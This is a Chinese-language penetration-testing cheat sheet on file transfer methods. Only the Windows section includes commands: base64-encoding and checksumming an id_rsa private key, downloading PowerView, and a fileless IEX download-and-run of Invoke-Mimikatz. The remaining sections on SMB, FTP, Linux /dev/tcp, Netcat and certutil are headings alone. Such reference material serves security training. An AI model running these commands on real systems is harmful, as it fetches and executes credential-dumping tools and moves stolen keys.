文件传输
一、Windows 文件传输
1. Powershell Base64 编码和解码
# 在传输文件后,我们需要检查文件上传是否正确, 我们可以使用 MD5 查看
md5sum id_rsa
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# 将文件进行编码后传输
cat id_rsa |base64 -w 0;echo
[IO.File]::WriteAllBytes("Target Location", [Convert]::FromBase64String("BASE64 String"))2. Powershell 网络下载
# 文件下载
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
# 无文件方法
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
# 文件下载
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps13. SMB 下载
4. FTP 下载
5. Powershell 上传
6. SMB 上传
7. FTP 上传
二、Linux 文件传输
1. Base64 编码解码
2. Wget & CURL 进行 WEB 下载
3. Linux 的无文件攻击
4. 使用 Bash (/dev/tcp) 下载
5. SSH 下载
6. 网页上传
7. 各种 WEB 服务器
三、使用代码传输文件
1. 下载
2. 上传
四、其他文件传输方法
1. Netcat
2. Powershell 会话文件传输
3. RDP
五、受保护的文件传输
1. Windows 文件加密
2. Linux 文件加密
六、通过 HTTP/S 捕获文件
1. Nginx
七、依赖本地
1. Bitsadmin 下载功能
2. Certutil
最后更新于